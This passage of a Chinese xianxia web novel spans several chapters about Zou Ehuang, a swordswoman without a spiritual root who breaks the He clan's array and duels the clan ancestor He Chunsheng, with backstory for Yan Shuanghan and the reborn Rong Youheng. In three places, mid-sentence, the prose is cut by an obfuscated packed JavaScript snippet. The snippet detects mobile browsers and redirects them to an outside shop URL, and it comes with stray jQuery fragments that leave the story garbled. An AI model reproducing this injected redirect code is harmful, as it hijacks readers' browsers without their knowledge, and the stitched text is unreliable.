在这落下的一瞬,周围变成了缤纷的剪影,凝滞而动人,何九州浑身上下忽然萦绕着一种玄而又玄的道韵。 仔细看,这样的道韵正是从邹娥皇搭着的两指内流出,一点点地包围住何九州。 “铮——” 该怎样形容这样的一声剑鸣,它并不是震耳欲聋,但又让人心尖都忍不住为之一颤,就像是来自洪荒的第一声钟响,开辟了天与地,星与月。 这世间万物,在那一刹那间都从清明变成浑噩,混沌中重新分离。 何九州呆呆地看着自己的西吹雪。 他如同是第一次看清这柄剑一般。 西吹雪、西吹雪,在天机子手中是可震碎死海的皑皑白雪;而在邹娥皇的两指之力下,却变成了纯粹的力量,无关美感。 厚实的土层被震荡出层层碎碎的裂纹,泊泊细流的暗水从土下涌出,又被未曾消散的剑痕隔成两流。 这是怎样的剑意? 何九州看不出来,他心里另有一种荒谬的推测:或许这极尽力道的一击,本就没有什么剑意,有的只是最纯粹的力。 但是怎么可能呢?剑修若没有剑意,铜剑铁剑不过废剑一把。 他暗暗思索,一定是因为这剑意太深厚了,所以看不出来。 “就这么破了?” 惊讶的女声自他身侧传来。 邹娥皇双目微张,分明是罪魁祸首,看起来却比何九州还要无辜几分。 她一边缓缓收回了两指,一边毫无自知之明道:“该说不说,他们何家这镇土术不太行,哪怕是最薄弱的地方,也不该一剑就破了阵眼;还是说,不愧是天机子的本命剑,强的要命?” 何家处密州,山水之乡,镇守此等钟灵俊秀之地三千年,镇土术,若何家论第二,则无人敢论第一。 而西吹雪,虽为天机子的本命剑,但向来以精细到极致的美感为王,刚刚那纯粹的力量绝非西吹雪的锅。 作为昆仑和何家后代,何九州比谁都了解这两点,因而他少见地沉默了起来。 咱就是说,有没有可能、是您太强了呢? 宴席之上,所有人都听到了这声动静,修为低的或许还不察什么,只是心里躁动地惶惶。 元婴之上的几位真人,却纷纷不约而同的脸色一变;这其中,又属何家几位客卿神色变得最为厉害,纷纷对视一眼,心知大事不妙。 老祖特意设下的锁仙阵,破了。 “那是什么声音?” 唢呐吹响吉时后,按照何城的规矩,新娘应该由新郎摘了盖头,挨桌敬酒。 此刻面若皎月的明珠侧过头去问身侧的何富贵。 何富贵神色凝重了刹那,扫视一周,没在宴席上看见邹娥皇与何九州后,他喉咙一动。 作为这场婚宴的主人公,他事先是知道内幕的,何家为了拿到那至关重要的星盘,除了老祖亲自出马外,方圆百里内,有元婴三十七名,化神四名,几乎是把何家所有没闭关的长老都请出来了。 除此之外,还设了几道连锁的阵法。 锁仙阵就是其中一环。 也是压箱底的一环,是老祖年轻时机缘所得,此阵珍贵异常,也异常凶险。 一开始何家有个性子急的长老还说,邹娥皇不过只是一个废人,这些个阵法摆了也是看样子,不如收起来还能省些灵石钱。 如今看来,倒是还真不如收起来了。 若连这个都破了...其他的,也未必在其话下。 老祖呢? 这种时候,老祖在哪里? 何富贵下意识地望向舅舅,却只见何渡轻轻地摇了摇头,意思是稍安勿躁。 … 散开的云堆,不知何时又聚起来了。 天边的云越聚越高,方才消失的异象隐隐又有了浮现的迹象。 榕树下,两人若有所感地抬头望天。 雨滴,缓缓地滑下,流入被劈入地上的暗河。 雷声,轰轰地响彻,昼白一瞬间,何九州看见了邹娥皇脸上的笑意消失殆尽。 “快走,何春生要来了。”她说。 何春生?哪个? 何家那个合道老祖么? 何九州不是傻子,结合刚刚他很容易就明白了邹娥皇破开的那个阵有问题,但他不明白的是... “前辈,你难道打不过他么?你分明...也是个合道不是么?还有刚刚,为什么要借我一臂,”何九州不解道:“你若有需要,我把剑借你就是了...” 他话还没说完,却只听到了对方干脆利索的否认。 邹娥皇:“我打不过他。” “而且我没有剑意,你把西吹雪送到我手上,我也驱使不动它,我只能向借你一臂之力,而我有且仅有,也只剩下了方才的那两指。” 没有剑意!? 何九州心头直跳,他师父曾跟他说过,这世上很多人都有可能没有灵根,但每个人都会有剑意,有心就会有意—— 怎么会有活人没有剑意! 骗人的吧?神吹鬼差的,何九州想到了刚刚他的揣测...如果没有剑意,那只是纯粹的力量,就很好可以解释了刚刚的一剑。 可是...一定是骗人的吧! “还有,”邹娥皇吐字清晰:“谁告诉你我是合道的?” 她说罢直接捏住何九州的袖口,起符。 “走——” 无风自起浪,电闪雷鸣间,被她捏住袖子的青年浑身一僵,传送符已起,可要带他跑路的人却被拦下了。 传送符的模样,他看的很清楚。 青龙,朱凤,白虎,玄武。 是传至昆仑的传送符。 他看得很清楚—— 和他说走的邹娥皇,被何春生从天而降的一鞭子甩飞了在地上,还没来得及掏出的传送符也被这一鞭子抽的粉碎,在空中烧出透明的火光。 而那来势汹汹的鞭子,本来要落到他身上的。 是邹娥皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364335|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推开了他。 哪怕她单薄的身躯被卷到地上,光洁的袍子上全是土石留下的划痕。 也决然地推开了他。 羸弱、废物,正如众人对她的评价。 原来邹娥皇刚刚的那几句话,并不是在骗他么? 既然如此,为什么要救他? 一个蓬莱人,为什么要救昆仑的—— 何九州这个时候才猛然醒悟,浑身发抖,他左手掂起西吹雪,明知道是徒劳,也要试图从传送道中劈出来;硬要说为什么的话,大约是昆仑一直教给这年轻剑修的就是死战不退,哪里有撕开传送符逃这种窝囊的选法? 但是可惜,传送符是单向的。 何九州再是天资佼佼,再是个发狠的剑修,也磨不平天道的规则。 于是他只能眼睁睁地看着,看着邹娥皇一遍又一遍地被那鞭子卷起又摔落,看着脚下的风静瞬息万变,看着尾骨连成的血骨鞭,青白的鞭骨上留下的都是新鲜的血液。 他听不见鞭子破空而过的声音。 但他受过鞭刑,很久之前,在昆仑的无望关。 十三鞭神断骨,没教会他的懊悔,在今日他终于懂了。 何九州浑身瘫软,骨头极硬的剑修倒在传送符里,后背冒汗。 天机子看见的,就是这么一个失魂落魄的何九州。 “怎么回事?你被谁送回来了。” 天机子眉心一蹙,双指微掐。 他知道何九州论道大典后去了一趟何家,也算出何九州此去有惊无险,但唯独没有料到会看见这么一个狼狈不堪的徒弟。 要知道这小子向来坚强,像石头缝里蹦出的野草,在哪里都是一片长势喜人;从不见什么心魔,哪怕被关在无望关,几日后出来也是没过几天就又蹦又跳的闹人... 天机子没想过在这样的一张脸上,竟然还能看到近似于惶惶的神情。 “救她...师父,你快让宴师叔出关去救她...” 何九州前言不搭后语地讲完后,本以为和邹娥皇有过一段往事的师父会义愤膺填,但是下一秒却被几句冷水浇醒。 “不,徒儿,你糊涂了。” 天机子神色悲悯地看着何九州,“你师叔宴霜寒乃是剑皇,代表昆仑乃至天下的第一剑,这世上能让他出手的唯有天下苍生,而不是私人恩怨。更别提,”他顿了顿,近乎冷漠道:“还是为了救一个蓬莱的人,就和镇守一州的世家动手。” “哪怕今日被扣在密州的人是你,他也是不能出手的。” 况且。 天机子远比何九州想的还要了解邹娥皇。 他知道的,她一开始就没打算走。 若非如此,传送阵定位定到的地方,不该是昆仑。 哎,天机子似笑非啼,几千年不见,她怎么还是这么个脾气。 不过她轻易不出门,也从不得罪人,这次怎么会和何春生对上? 密州、密州,密州到底有谁在? 印象里也只有那么一个死的透透的连骨灰都没剩下的人。 ——莫非,她是奔着何言知去的? 想到这里,天机子竟有几分的担忧邹娥皇。 何言知这人智多近妖,算无遗漏,绝非该深交之人。当初把星盘给邹娥皇的时候就有几分的蹊跷,以那个人的性子,很可能连死都是一步棋。 “你刚才说,你见到她动剑了?” 插话的男音低沉矜贵,何九州一激灵,抬头望去,才发现说曹操曹操就到。 是剑皇,宴霜寒。 17. 今日第一更 宴霜寒人如其名,冷的像一块冰。 他穿着一身流光的玄色长袍,腰间盘着玉色的蹀躞带,后腰侧背了一把纤长的神剑;然而,愈是深色修身裁剪合宜的剑袍,才逾衬得他那玉色的容颜俊美如画,连带着悬于脚跟的雪白长发,也仿佛会发光般。 蓦然出现在此处,如神祇亲至。 ——或许,在某些人眼里,他就是行走于世间的活神。 在与妖族的战争落下帷幕后,宴霜寒一剑斩妖王被人做成了雕像、年画…更有甚者在民间为他塑神庙,人人都敬仰这个男人,人人也都惧怕这个男人。 旁人简直想不到,这样的一个男人,会对除了剑之外的什么事情上心。 “你刚才说,你见到她动剑了?” 见何九州没回话,那矜贵自持的男声再度响起。 何九州甚至都疑心问话的宴霜寒还有几分的急切。 只是,可能吗? 一剑斩下妖王头颅都面不改色的真男人,会因为一个名字,就喜怒失色么。 “师叔,其实也不是...是她拿手搭在我的肘腕灵脉上,严格意义上来说,我才是使剑的那个。” 何九州想了想,还是如实道。 不知怎的,他觉得后颈凉飕飕的。 宴霜寒听后平静总结道:“她还碰了你。” 天机子觑了他一眼,琢磨出什么味来,竟是狭促地笑了。 他看向一头雾水的徒弟,闷笑了一声,然后说:“你可知你宴师叔修道五千年,一共主动出手过几次么?” 何九州说两次,“一次和蓬莱的崖山道君容有衡,未分胜负;一次是斩妖王平四海,救生民于水火。” 于是人前宴霜寒才有了口口相传的称赞,说他两次出剑,均非私欲,前者是棋逢对手,后者是路见不平,实乃真真爱惜剑的仙人。 天机子哼了一声,道何九州说错了。 “你宴师叔主动出剑了三次。” 哪三次? 这世上哪还从石缝里蹦出个高手不成,怎么就三次了。 何九州想了有半响,才恍然大悟地拍头叫好,迎着天机子暗暗期待的目光,自信道:“师父,我就知道我没拜错师,你果真是能和师叔道君他们一辈相提并论的绝顶高手!” “想哪去了?” 天机子叹气,但还是很受用何九州拍的这句马屁。 天人五衰的小老头还挂着刚刚狭促的笑,“这多出来的一剑么,起源于一句诗——蓬莱山上邹女仙,一剑银河落九天。” 这是一个有关年少慕艾,但草草收场的悲剧故事。 天机子还要再说些什么,却只见宴霜寒乜了眼他。 那宴剑皇用手背摩擦剑柄,冲着天机子轻飘飘但意味深长道:“或许,马上也要有第四次剑。” 话里话外,都是威胁。 天机子明智地闭上了嘴,怎么就忘了,当事人还在这呢。 但没多久,他憋了又憋,还是对宴霜寒说:“你刚闭关出来,心境不稳,死海未炼化于神华剑中,一旦起剑,就有被反噬的风险...何春生那种虚架子,往常一百个他也不敌你一只手,但今非昔比。” 宴霜寒只是说:“知道。” 玄衣剑皇转身就走,他身姿挺拔,背后神剑葳蕤生光。 “你知道——知道你还要去哪?” 天机子急道。 宴霜寒:“我去看看这届新入门的弟子底子。” 他说完顿了顿,浅瞳如冰折射出一点淡漠的光弧。 “你放心,我不会去救邹娥皇的。她不清楚她的身份,硬要去淌密州这趟浑水;但我不一样,我一直都清楚,我是昆仑的人,而后才是剑皇,最后才是宴霜寒。” 宴霜寒对于邹娥皇这个人,一直是搞不懂的状态。 第一面的时候,他就不懂她。 剑乃百兵之君,但这并不意味着剑就比别的兵器含蓄多少,反而一步一杀机;它作为兵器,无疑是锐利的。 任何一个剑修,提起剑的那一刻,就是为了保护和杀戮。 但是邹娥皇她身上,没有。 她没有保护的决心,也没有杀戮的勇气。 那她提起剑做什么——彼时尚且年轻气盛还有些不讲道理的青春期宴霜寒,轻视的想,像邹娥皇这种女修,就不该去学什么剑,音修画修舞修才适合她们。 现在他依然不懂她。 身为蓬莱的二师叔,容有衡死后初代最大的弟子,却和镇守一方的世家老祖干上了,天下刚平复没有几年,妖王动乱不过也才是二十年前的事情,为了那么一个死了三千年的人,去淌这趟浑水,很值得么。 虽然昆仑的探子并没有传回来何家如今在密谋什么的消息,但是能让一向抠门的何春生祭出锁仙阵,不可谓不是大下血本,定然是和那陨落的圣人何言知有关系。 而何言知和邹娥皇之前的事,他略有耳闻。 但略有耳闻,并不意味着宴霜寒就能想明白。 苟了五千年、夹紧尾巴做人的邹娥皇,怎么如今就硬去密州送菜了。 换句话说,何言知真的对她来说就那么重要么。 可是何言知又是个什么好东西不成。 烦死了。 这个向来平静冷漠、大公无情到一定地步的剑皇,此刻心头有些莫名的怒火。或许是因为死海的魔气还在萦绕着他,他现在竟有一瞬的冲动,要把密州一剑踏平。 这样不好,他告诉自己。 旁人总以为这看起来冷冰冰,锋利如剑的剑皇,是天生的不近人情。其实不然,谁没有过年少轻狂。 宴霜寒,不是一开始就是昆仑的活字碑。 他在最初的时候,只是个拿剑说话的剑修。 所以在第一次见面的时候,天骄宴上,穿着飘飘流仙长裙的邹娥皇落于地时—— 在她眼波流转,浅浅一笑间。 他的剑,比他的心先动了。 …… 密州,何城。 狂风做卷,阴云凝滞。 居高临下的何春生仍是惯性地把自己藏在斗篷里,好像这样旁人就瞧不见他那黯淡无光的老脸了一样。 “很多年不见,你还是很爱逞英雄。” 他对半跪在地上身形狼狈的邹娥皇道,语气熟稔仿佛旧友。 “你知道聪明人该怎么做么?” 临到末了终于要完成心愿的前夕,哪怕是如何春生一样的老狐狸,也会志得意满一瞬,急于向外人宣泄他的成功。 因而对着一声不吭全当他不存在的邹娥皇,何春生也空前有兴致地去攀谈。 “聪明人,该拿那个昆仑的筑基修士挡刀,把昆仑拉下到自己的阵营里,而不是送他走。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388262|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之所以今日,何春生早早设人拦住何九州,就是因为他不欲在这场鸿门宴里,牵扯上昆仑的势力。 刚刚若何九州没有助邹娥皇一臂之力,何春生也绝不会对着昆仑的人动手。 如今么...他轻蔑地低头俯视着狼狈的女修,邹娥皇那身玄袍法衣已经曲卷,出现了数不清的狰狞伤口,她闭着眼,胸脯微微起伏,好像就剩下了一口气。 何春生冷笑着想,他还要多谢了她。 多谢她这愚蠢的牺牲,才为他躲过了昆仑这个麻烦。 “嗬。” 然而这个念头一落,他却看见地上那个被他笑蠢的女修,颤颤巍巍地支着身子要站起来。 碎了的骨头,用细如涓的灵力作支撑。 何春生老眼微眯,鞭子破空袭去。 带着千钧力道,将邹娥皇用灵力的缓慢恢复腿骨再次打断。 下一瞬,他却只听见那本该狼狈求饶的女修,居然轻飘飘地叹了口气。 她终于开口说话了—— “聪明人,话也这么多么?” 却是带了几分的讥讽。 何春生一愣,“什么?” 电闪雷鸣后,停滞不前的雨,终于落下来了。 滴滴答答地垂落在邹娥皇沾血的眼角,伤口遇水,留下了蜿蜒的血迹。 直到这个时候,邹娥皇才终于后知后觉地想:有些疼。 “我说,你自诩聪明人,但聪明人至少话不该这么多。” 她重复一遍道。 何春生冷笑连连:“是么?” 他这句是么,带了太多的胜券在握。 关于邹娥皇,何春生知道很多秘闻,甚至还有很多蓬莱子弟都不一定知道的事情。 譬如说,邹娥皇的修为有问题,她这么多年来从没有经历过进阶的雷劫。 他的威压虽不能困住她,但这也未必意味着她有多厉害。 再譬如说,她每日只有一力之击。 用完后,和普通人无异。 所以何春生布置了那么多的阵法,本质上就是用来消耗这一力之击的。 在大事上,他从来不含糊。 而还有最重要的一条便是,传说中她身无长物,性情古怪,除了一柄剑外,便没了什么法宝。 这也就意味着,如今不能动用星盘的她;拔不出来剑的她,就是在砧板上的肉,任人宰割。 “是啊。” 跪伏在黏湿的土地上,邹娥皇发现自己碎成一段段的臂骨,竟然还能扭曲地抽动。 这在现代是完全不可能发生的医学奇迹。 她顶着一脸血懒洋洋地回道:“难道没有人告诉过你这件事么。” 那身处弱势的女修,倦怠又平静道。 “不到最后一刻,千万别太自信。” 下一瞬,起风了。 昏黄的榕树叶混着暗河的水,密密麻麻的雨滴和雷鸣做伴,天边传来唳鸟的哀嚎... 而何春生混浊的眼珠里,慢慢映出了一个滑稽的人影。 那人影浑身僵硬又古怪,骨头碎了一遍,皮肉包着骨头,看起来就像是落叶包着枯枝,嶙峋地可怜,此刻正以扭曲的灵力汇聚经脉,宛如行尸走肉。 滑稽异常,可何春生笑不出来,只有蓦然升起的忌惮。 那是邹娥皇,站了起来。 18. 第 18 章 人究竟到什么时候,才应该学会放弃呢... 年轻的邹娥皇会说,人无论什么时候都不该放弃。 哪怕对手是她那似乎天生缺了根弦儿的大师兄,软磨硬泡下也有成功的可能。 她会仗着师妹的特权,不择手段,哭缠着师兄;半是撒娇半是埋怨地问她那个惊才艳艳的师兄,为什么就不能让她几招呢?明明她已经这么努力了不是么,为什么不能让她替他去参加天骄宴呢。 等她师兄终于轻轻颔首同意了后,十八岁的邹娥皇,以为那就是胜利。 但她从没想过,那一日是小石子打破了湖水的涟漪,是一切挫折的开端。 天骄宴后,她就被折了剑。 于是自以为看破红尘世俗的邹娥皇会说,当意识到努力在天赋面前一事无成,卷王终究跨越不了命运鸿沟,自以为背负天命然而连一剑之力都没有的时候,就该放弃了。 但是她没有想过,也没有意识到。 大多数情况下,难的从来不是放弃。 而是让一个从平等教化里走来的人,承认这世界本就不平等,灵根和资质天生就分三六九等,努力在悟性前不值一提。 难的从来不是放弃,而是让一个自命不凡的姑娘,承认她并非璞玉而是顽石。 难的是,你该如何控制住你去摸剑的欲望;难的是,仙途在前,哪怕明知渺茫,可谁能不怀希望。 在一个能得到成仙的世界里,让人不去攀仙途这件事,比飞升本身还要难。 所以。 人究竟到什么、时候,才该放弃呢? 邹娥皇咽下了喉咙的一股腥气。 她想,如果她背后的剑能拔出来就好了。 她想,如果她能——拔出剑来,就好了。 但她唯独没有想过,如果一开始就不来密州,如果一开始就不要何言知赠予的星盘,那这样糟糕的处境,或许从根本上就和她没有任何关系。 这世上有那么多的如果。 但她竟只能把满腔怨愤宣泄于一柄不会说话的剑。 雨水滴滴嗒嗒地顺着邹娥皇的黑发流入她的衣襟,再缓缓滑出了她的裤腿。 风声大作,吹起她额前沾着血迹与泥迹的几根头发。 缓缓爬起来的邹娥皇忽然感到一种彻骨的寒冷。 原来即便狼狈到了这种地步,自己也依旧没有选择放弃吗。 阴云笼罩在一方后院,前院里隐约传来宾客的喧闹与祝词,与这里沉湿厚重相隔;乍起的惊雷几个瞬息闪彻照亮昏沉的天地间,呼啸在空中的鞭声一声比一声狠戾。 何春生从来没这么地厌恶过一个蠢货。 横纹耷拉在他的额前,比起一开始何春生那兴致勃勃的攀谈欲,他现在简直沉默到了一种可怕的地步。 她为什么还不倒下。 她为什么还不肯献祭出星盘。 她到底,还要苟延残喘到什么时候? 何春生知道自己应该直接了当地杀了她,但他不知为何犯了个错误,偏偏想看看到底是邹娥皇的骨头硬气,还是他的血骨鞭硬。 数不清的鞭声响彻耳边,何春生慢慢地感觉到了一种疲力,但让他感到后怕的是,这种疲力并不是源于内心,而是源于他的手腕。 他低头一看,才发现不知道什么时候,握鞭的手上,被一团细小的灵丝纠缠了上去。 这灵丝太细,细到肉眼近乎看不清。 可凡人如此并不奇怪,怪的他身为一个合道,居然也对这异变毫无察觉。 这本该是根本不可能发生的事情,但邹娥皇用一次次鞭子抽到身上的皮肉之苦,换来了这些灵丝慢慢地附着于何春生的本命法器上,再渡到他的右手上。 但就算这样,一团小小的灵丝,又能代表什么。 何春生蹙眉,嗤了声雕虫小技,抬手就要弹掉。 然而无论他如何的不以为然,如何的嗤之以鼻,无论是轻轻一弹还是用力一甩,这团小小的灵丝好像已经扎根在了他的手腕上,怎么甩也甩不掉。 就好像是从他自己的血肉里长出来的一样。 是牵丝术。 侧倚在榕树主干上,拿金边婚帖用来扇风的容有衡眼神微眯——那个传闻中死在妖王爪下,自断一臂的崖山道君,此刻不仅双臂完好,在这等诡变风云下,仍有一分的怡然自得。 强大如合道后期修为的何春生,也未能发现榕树冠里藏了个人。 改头换面、隐姓埋名的容有衡,如今化名容无常,来参加一场婚宴,明知道亲师妹受难,却仍能做到不动声色。 这等人,很难说明白他心里到底藏了什么事。 又或许他此刻只是在想:这牵丝术,是他教她的。 两世重逢,面对这个愚笨的二师妹,他教给她的第一门仙术,永远都是牵丝术。 蓬莱山上的崖山道君,惊才艳艳的容有衡,平生共有两个秘密。 第一个么,他是重生者。 所以才会做下众人都不理解的那些事,譬如说自断一臂去战妖王;再譬如说假死后隐姓埋名,从风光无限的蓬莱下一任掌门人,变成了十四盟一个普普通通的散修。 重重异常的背后,都藏着一个直指天道的大秘密。 第二个么,则是牵丝术。 “牵我魂丝,色授予魂。” 他教给邹娥皇的牵丝术,和旁人学的那些个搬移物品的小仙术,不是一种东西;准确来说,这是可以无线近乎于魔道的术法。 与此同时,反应再慢的人,在浑身灵力以恐怖的速度被吸光的情况下,也该意识到了问题所在。 何春生惊惧异常。 作为正道何家的老祖,他脱口而出的第一句爆喝声是:“你是个魔修?!” 在这方天地,谈起“魔”这一个字,大多数人想到的都是魔域里那些个不人不鬼的天生魔物,而不是早于一千年前灭绝的魔修。 那是起源于一千年前的一场天地不容的童男童女祭祀案,得知消息后,昆仑携手大小仙门近千余,以迅雷之势围截了魔窟,将八成魔修一网打尽,金丹以上的魔修全部魂飞烟灭,剩下的魔修再难成气候,过上了人人喊打的生活。 自此风云变幻,魔修这二字也逐渐被人遗忘。 甚至到了近几百年,大多数修士只知道那杀不尽的魔物,而不知道人,也能修魔。 而何春生再是个心思狭隘之人,他毕竟也是作为何家老祖,参与了那场对于魔修的围堵。 也就是说,他亲自领教过那群人的手段。 在修仙史上只留下一行“三月之内,魔窟荡平”的八个字,真真切切落到每个人身上的时候,却是数不清的血肉之躯。 魔修的手段,连天地不容都只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422605|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一个委婉的形容词。 他们驱使死人的白骨,吸食活人的血肉,各个生得是娇媚容颜,藏着的是歹毒心肠;三个月的包围战,以看似剿灭为大胜利的前提下,是仙门近千年的根基损伤,数十万精英天才的殒命。 所以才会在二十年前的妖族入侵下,青黄不接的人族战线节节溃退。 但如何辨认一个人是不是魔修,并不是靠他们外在的那些手段,而是从修炼一开始,他们运转灵气的方式。 正道修士的灵气是自己修出来的,魔修,则是从别人身上掠夺生机蕴养己身。 一瞬间千万线索都在何春生脑海中过了一遍,难怪邹娥皇从来不遭雷劫,每日只有一战之力,这些万般古怪下藏着的秘密,在如果她是个魔修的解释下,一切却都能解释地清了。 他又惊又怒,反手要甩下三张火符。 谁料下一瞬,纠缠在他手腕上的丝线猛地一收力,半跪在地上的女修,以扭曲的角度爆发出惊人的一跳,咯吱咯吱的关节作响;手心握着刺骨的鞭尾,任凭骨尖划破手掌留下稀稀拉拉的血水,以一种惊人的高速甩向何春生。 火烧火燎的燎泡遍布了她的半张面庞。 邹娥皇顾不得喊痛,她一跃而起,纤长的灵丝锁住了天上那老贼的咽喉。 如果是一个剑修在场,看到这一招哪怕仅仅是灵丝,也必然会惊呼一句:好标准的细月分春剑法。 细月,是剑式皓然如丝,看见而不可挡;分春,看似温柔的背后是杀机毕露。 只有剑招能做到这样。 所以哪怕邹娥皇手中无剑,可她用的确实是实打实的剑招。 可惜何春生不是剑修,所以他看不出来,他只嗅到了一丝恐怖的杀机,但不知道这样的杀机,在剑修的概念里,是堪比教科书般规范的模板。 “我不是魔修。” 用白骨嶙峋,皮肉绽破的双手锁住他,把薄如蝉翼的灵丝架在他脖子上,干着杀人的勾当却一脸不知所谓的邹娥皇,认真地对何春生说。 在她那双无论何时看都觉得蔫蔫的黑瞳深处,冒出了蕤蕤火光。 “我是个剑修。” 当一个蓬莱的修士,向旁人这般宣誓自己是一个剑修,而不是修剑的,大约也就说明了,她非剑不可。 非剑不能。 所以,到底什么时候该学会放弃呢。 藏在树荫下的容有衡在此刻终于微微笑了。 他想,如果这个人连灵根都没有,却执意还要踏上这场求仙之路,并且甘愿守着一把籍籍无名的剑五千年,忍受着旁人肆意的嘲笑而不改其路... 那你要对这样的人说什么呢,你还能对这样的人说什么。 夸赞或贬低,都不能磨其心志。 劝戒与教导,都只是多管闲事。 ——或许连邹娥皇自己都忘了,她修仙五千年来,遇到过最大的挫折,从不是拔不出剑。 而是在一开始,她只是个没有灵根的凡人。 所以如果要放弃,那她在一开始就该放弃。 可是偏偏,这个旁人总说废物累赘的姑娘,坚持了下来。 她是如此赤诚地背着身后的一把裹着厚布的剑。 我心应我,万死不辞。 求仙之道,剩者为王。 须知这大道路上千难万难,抵不过一颗赤子之心。 19. 第 19 章 灵根在这方天地的重要性无需多言。 它划分了修士和凡人,长生不老和朝生暮死。 它还以粗细程度,在体内灵脉分配位置决定了一个修士的仙途。 天赋绝伦者如书中主角方半子与周家初代天子周平,这类人谈吐呼吸间,自有灵气运转,平日一举一动,堪称人间自行流通的吸灵永动机。 天道酬勤者如蓬莱大师姐青度,这类人鸡鸣而起鸟归而睡,一天十二时辰里八时辰都在练剑,勤奋到了一定程度,再不进步都算天理难容的地步。 还有剑走偏锋者如何春生,这类人灵根未必多深多长,心眼儿倒比旁人翻了几倍。哪里有机缘哪里就有他们,在生死一线里硬生生趟出了一线仙缘。 但无论如何,这三类人在众人眼里都算得上是令凡人羡艳的修士。 是十分之一的幸运者。 而更多的人,是凡人,平凡的人,十分之一后剩下的十分之九;他们没有灵根,无法感知天地灵气,在魔修道统失传后,他们连入魔的可能性,都没了。 邹娥皇是不幸的。 她的不幸在于,从和平年代穿越到刀光剑影的修真界,起点却只是和这波澜壮阔世界无缘的凡人。 邹娥皇又是幸运的。 她的幸运在于阴差阳错地在那日爬上了苍云顶,遇到了恰巧在那里修炼的蓬莱道祖。 于是,才有了后来五千年的汲汲营生。 容有衡还记得上一世看到这个姑娘的时候,他笑的很大声,震起了松上雀鸟。 那时是还没修炼占星术的容有衡。 少年面目佼佼若流光,眉长入鬓,眼含春水,轻薄的朱唇配着刀削的下颚,五官邪俊乃当世少见,一身薄春衫,眉开眼笑间不知要搅动了多少姑娘的春心,一看就是个沾花惹草的妖孽。 那也确实还是个没心没肺的皮小子。 他戳着新师妹被山间云雾打湿的发尖,边笑边和师父打趣,“这师妹怎么是个没跟脚的,收上山来一般的烧水炊柴都不敢用她,收她做什么,趁早赶下山去罢了。” 蓬莱道祖瞥了眼大徒弟,还没开口训诫些什么,就看见这刚刚还吊儿郎当的少年郎下一秒吃痛叫喊,原来是那被戳脑尖的邹娥皇用力掰着容有衡的食指。 好一声嘎嘣的脆响。 后来这恼羞成怒的少年郎,吃了一个月邹娥皇用木柴生火烙出来的麦饼,好说歹说下,还是哼哼唧唧的把改编的牵丝术教给她了。 以丝成脉,一点点地根植于皮肉之下,虽要忍受蚂蚁噬心之痒、虽哪怕开出来的也不能叫做灵根,维度还是那个丝儿... 只是千不好万不好,邹娥皇总算有了证道的可能。 就算千不好万不好,她也终于成了那个别人眼里与天争高的修士群体。 但是上一世,死到临头前,容有衡最恨的不是他没拦下师妹密州一行,也不是没能拦下她和方半子饱受众人攻讦的师徒恋。 而是在一开始,引她上山的人是蓬莱道祖,为她开启千年仙途的人却是他容有衡。 他不止一次地曾想过,如果邹娥皇终其一生,都能在蓬莱的山上看日出云落,如果邹娥皇终其一生,都不必和一把厚剑死磕... 那么就算寿不过百,凡人之资,又怎样,又如何。 这样她不会有后面的郁郁寡欢,也不必用柔荑把蓬莱乃至天下托起。 所以这重来的一世,容有衡本是不打算教邹娥皇牵丝术的。 那经历了一世浮沉的灵魂,压住了少年轻扬的眉眼,将原本是一双含情脉脉的桃花眸,变成了干涸的荒漠。 蓬莱山上大师兄,蓬莱山下崖山道君,容有衡,这一次终于变成了众人想要的谦谦君子。 他温和守礼,没死之前是蓬莱道祖的下一任继承者。 他年少成名,一把坠日之剑比肩昆仑剑皇,若非刻意,妖王不是他的一战之力。 他沉稳,他寂静,他是天下最负盛名的修士。 他的二师妹怕他。 容有衡本以为这一次重来,他能改变掉邹娥皇的命运,但他唯独没有想过—— 他能改变了所有命中注定的拐点,却没能狠心斩断少女的一腔孤勇。 重来的那日,容有衡看着刚被蓬莱道祖引上山的邹娥皇,要戳她发顶的指终于变成了轻轻拍了拍她的肩。 这轻轻一拍,好像要拍掉前世的所有苦厄。 这轻轻一拍,好像要补上前世对她的认可。 这轻轻一拍,好像有千言万语都藏在其中。 这一次,他的开场白是:“容有衡。” 邹娥皇永远都不会知道,这三个字的背后,是跨越了一世的人海,是放弃了飞升的机会,是无数次逆天改命,是一个没能救下师妹的师兄。 后来,容有衡把一切都想的很好,但忘了自己始终没法对着这么一双眼睛说不。 面对着无法修炼却仍在后山练剑的邹娥皇,容有衡趁着月色只敢看了那么一眼,就蓦然心软了。 